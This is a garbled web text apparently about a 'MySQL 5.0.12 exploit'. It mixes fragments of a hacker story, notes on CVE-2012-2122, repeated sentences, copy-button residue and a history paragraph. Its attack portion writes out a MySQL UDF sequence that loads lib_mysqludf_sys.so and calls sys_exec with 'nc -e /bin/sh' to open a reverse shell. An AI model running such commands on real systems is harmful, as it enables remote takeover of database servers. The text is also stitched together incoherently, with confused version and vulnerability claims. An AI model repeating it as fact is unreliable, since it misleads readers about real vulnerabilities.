: While often confused with the "MySQL 5.0.12 exploit," the famous CVE-2012-2122 password bypass (1 in 256 chance of successful login with any password) affected much later versions, such as 5.1.x and 5.5.x. Mitigation and Risk Management
Kai’s pulse quickened. He crafted the first payload: mysql 5.0.12 exploit
-- Create the function mapping CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; -- Verify the function exists SELECT * FROM mysql.func; -- Execute a command (e.g., creating a reverse shell) SELECT sys_exec('nc -e /bin/sh '); Use code with caution. Copied to clipboard 3. Impact and Remediation : While often confused with the "MySQL 5
MySQL 5.0.12 to 5.0.22 was a 6-month window. Many systems went unpatched for years. – not just servers. Your monitoring tool, ETL job, or cron script might be the entry point. Copied to clipboard 3
With the .so file on disk, the attacker loads the UDF:
In the world of cybersecurity, few pieces of software have stood the test of time like MySQL. Originally released in the mid-1990s, MySQL became the backbone of millions of web applications, from small WordPress blogs to massive enterprise systems. By 2005, version 5.0.12 was a landmark release, introducing views, stored procedures, and triggers. But it also introduced something else: a critical vulnerability that would echo through penetration testing manuals for a decade.